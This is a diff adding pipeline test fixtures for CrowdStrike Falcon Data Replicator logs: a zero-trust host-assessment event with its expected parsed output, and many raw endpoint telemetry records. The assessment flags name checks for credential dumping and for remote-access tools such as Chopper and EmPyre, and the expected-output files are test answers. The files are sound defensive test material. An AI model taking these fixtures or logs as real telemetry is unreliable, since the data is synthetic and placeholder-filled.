"cid": "2222", + "os_version": "Sonoma (14)", + "product_type_desc": "Workstation", + "scores": { + "modified_time": "2024-02-13T22:33:34.077Z", + "os": 89, + "overall": 97, + "sensor": 100, + "version": "3.8.1" + } + }, + "device": { + "id": "1111" + }, + "event": { + "created": "2020-10-01T09:58:32.519Z", + "id": "|1111|2222", + "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}" + }, + "host": { + "hostname": "example-XXXXXXXXX", + "id": "1111", + "name": "example-XXXXXXXXX", + "os": { + "type": "macos" + } + }, + "observer": { + "serial_number": "1111" + }, + "related": { + "hosts": [ + "example-XXXXXXXXX" + ] + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log new file mode 100644 index 0000000000..24929e164d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log @@ -0,0 +1 @@ +{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml new file mode 100644 index 0000000000..087e1a7e76 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml @@ -0,0 +1,6 @@ +fields: + "@timestamp": "2020-04-28T11:07:58.223Z" + tags: + - preserve_original_event + _conf: + long_fields: index_long_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json new file mode 100644 index 0000000000..4bb54daa38 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json @@ -0,0 +1,81 @@ +{ + "expected": [ + { + "@timestamp": "2020-10-01T09:58:32.519Z", + "crowdstrike": { + "EventType": "ZeroTrustHostAssessment", + "FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "HostHiddenStatus": "VISIBLE", + "assessments": { + "analytics_and_improvements_mac": "yes", + "application_firewall_mac": "yes", + "crendential_dumping_hash_mac": "yes", + "crendential_dumping_kcpassword_mac": "yes", + "crowdstrike_full_disk_access": "yes", + "execution_blocking_custom_blocking_enabled_mac": "yes", + "execution_blocking_intel_threats_enabled_mac": "yes", + "execution_blocking_suspicious_processes_enabled_mac": "yes", + "file_vault_enabled_mac": "yes", + "gatekeeper_mac": "yes", + "internet_sharing_mac": "yes", + "mac_os_version": "yes", + "ml_adware_detection_mac": "yes", + "ml_adware_prevention_mac": "yes", + "ml_cloud_antimalware_detection_mac": "yes", + "ml_cloud_antimalware_prevention_mac": "yes", + "ml_sensor_adware_and_pup_detection_mac": "yes", + "ml_sensor_adware_and_pup_prevention_mac": "yes", + "ml_sensor_antimalware_detection_mac": "yes", + "ml_sensor_antimalware_prevention_mac": "yes", + "quarantine_mac": "yes", + "real_time_response_enabled_mac": "yes", + "remote_login_mac": "yes", + "script_based_execution_monitoring_mac": "yes", + "sip_enabled_mac": "yes", + "stealth_mode_mac": "no", + "system_full_disk_access_mac": "no", + "unauthorized_remote_access_chopper_mac": "yes", + "unauthorized_remote_access_empyre_mac": "yes", + "unauthorized_remote_access_xpcom_mac": "yes" + }, + "cid": "2222", + "os_version": "Sonoma (14)", + "product_type_desc": "Workstation", + "scores": { + "modified_time": "2024-02-13T22:33:34.077Z", + "os": 89, + "overall": 97, + "sensor": 100, + "version": "3.8.1" + } + }, + "device": { + "id": "1111" + }, + "event": { + "created": "2020-10-01T09:58:32.519Z", + "id": "|1111|2222", + "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}" + }, + "host": { + "hostname": "example-XXXXXXXXX", + "id": "1111", + "name": "example-XXXXXXXXX", + "os": { + "type": "macos" + } + }, + "observer": { + "serial_number": "1111" + }, + "related": { + "hosts": [ + "example-XXXXXXXXX" + ] + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log new file mode 100644 index 0000000000..c3de03a23b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log @@ -0,0 +1,138 @@ +{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} 